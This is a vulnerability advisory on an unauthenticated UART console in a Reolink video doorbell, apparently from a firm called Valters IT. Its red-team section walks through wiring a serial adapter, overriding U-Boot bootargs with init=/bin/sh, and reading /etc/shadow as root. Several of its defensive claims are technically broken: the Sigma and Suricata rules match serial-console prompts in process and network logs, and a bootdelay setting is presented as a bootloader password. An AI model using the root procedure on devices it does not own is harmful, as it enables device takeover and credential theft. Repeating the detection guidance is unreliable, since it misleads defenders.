CVE-2025-60856

Executive Summary

CVE-2025-60856 exposes a critical physical security flaw in the Reolink Video Doorbell WiFi DB_566128M5MP_W. An attacker with physical access can connect to an unsecured UART/serial console and obtain a root shell, enabling full device compromise. The vendor disputes the finding, citing password complexity requirements and restrictions on serial port access, but the exposed interface remains a tangible risk for physical attacks. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

Supply Chain & Package Security

This vulnerability is not related to software supply chain or package management. It is a hardware-level physical access issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (AV:P) – Requires physical access to the device.
• Attack Complexity (AC): Low (AC:L) – Standard UART tools are sufficient.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – Exploitation affects only the device.
• Confidentiality (C): High (C:H) – Full filesystem access.
• Integrity (I): High (I:H) – Arbitrary code execution.
• Availability (A): High (A:H) – Can brick or modify device.

CVSS Score: 6.8 (Medium) – Physical access requirement reduces severity, but impact is total compromise.

Deep Dive & Mechanics

The Reolink Video Doorbell exposes a UART (Universal Asynchronous Receiver-Transmitter) interface on the PCB, typically accessible via test points or a header. This interface is unsecured, meaning no authentication is required to interact with it. By connecting a USB-to-UART adapter (e.g., FTDI, CP2102) at standard baud rates (115200 or 38400), an attacker can:

1. Interrupt boot process to drop into a U-Boot shell.
2. Boot into single-user mode or modify kernel command line to bypass init.
3. Obtain a root shell directly if the console is configured to spawn a shell without password.

The vendor’s claim of password complexity is irrelevant because the UART console may not enforce password authentication at all, or the root password can be reset via bootloader commands.

Vulnerable vs. Patched Code

No code-level patch exists. The vulnerability is architectural: the UART console is exposed and unauthenticated. A hypothetical fix would involve:

• Vulnerable: UART console enabled in device tree or kernel config with console=ttyS0,115200 and no authentication.
• Patched: Disable UART console in production firmware, or require a cryptographic challenge before shell access.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Reolink Video Doorbell DB_566128M5MP_W
• USB-to-UART adapter (e.g., FT232RL)
• Jumper wires
• Serial terminal software (PuTTY, screen, minicom)

Steps:

1. Identify UART pins: Use a multimeter to find TX, RX, GND, and VCC (usually 3.3V). Look for test points near the SoC.
2. Connect adapter:
   • GND → GND
   • TX (adapter) → RX (device)
   • RX (adapter) → TX (device)
   • Do NOT connect VCC unless needed.
3. Open serial terminal:

   screen /dev/ttyUSB0 115200
   

4. Power on device: Interrupt boot (press any key) to enter U-Boot.
5. Obtain root shell:

   # In U-Boot
   setenv bootargs console=ttyS0,115200 init=/bin/sh
   boot
   

   Or if a shell is already spawned, simply press Enter.

Example output:

U-Boot 2020.04 (Apr 12 2023 - 10:15:32 +0000)
Hit any key to stop autoboot:  0
=> setenv bootargs console=ttyS0,115200 init=/bin/sh
=> boot
Starting kernel ...
/ # id
uid=0(root) gid=0(root)
/ # cat /etc/shadow
root:$6$...:...

Blue Team

Detection:

• Monitor for physical tampering: vibration sensors, enclosure switches.
• Log serial port activity if accessible via internal network (e.g., via a serial-to-Ethernet converter).
• Use host-based IDS on the device (if possible) to detect unexpected shell spawns.

Mitigation:

• Physically secure the device (locked enclosure, tamper-evident seals).
• Disable UART console in firmware if possible (requires vendor cooperation).
• Implement bootloader password (e.g., setenv bootdelay -1 in U-Boot).

Indicators of Compromise (IOCs)

• Network: No network IOCs; attack is physical.
• Host:
  • Unexpected U-Boot environment changes (e.g., bootargs modified).
  • Presence of /tmp/ files indicating shell history.
  • Modified /etc/shadow or /etc/passwd.
• Physical:
  • Solder flux or wire connections on UART test points.
  • Missing or broken tamper seals.

Detection Engineering

YARA Rule

rule Reolink_UART_Root_Shell {
    meta:
        description = "Detects indicators of UART root shell access on Reolink doorbell"
        author = "Valters IT"
        date = "2025-04-01"
        hash = "unknown"
    strings:
        $shell_prompt = "/ # " ascii wide
        $uboot_prompt = "=> " ascii wide
        $bootargs_mod = "init=/bin/sh" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Reolink UART Root Shell Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects serial console root shell activity on Reolink doorbell
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - "/ # "
            - "=> "
            - "init=/bin/sh"
    condition: selection
falsepositives:
    - Legitimate debugging by vendor
level: high

Suricata Rule

alert tcp any any -> any any (msg:"Reolink UART Root Shell - Serial Traffic"; flow:to_server; content:"/ # "; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Physical Security: Place the doorbell in a tamper-resistant enclosure. Use tamper-evident screws or seals.
2. Firmware Hardening: Request vendor to disable UART console in production firmware. If possible, apply a bootloader password.
3. Monitoring: Deploy physical intrusion detection (e.g., vibration sensors) and log any serial console activity.
4. Vendor Communication: Report the issue to Reolink with a request for a firmware update that disables the UART console or adds authentication.

Valters IT
Securing the physical layer, one UART at a time.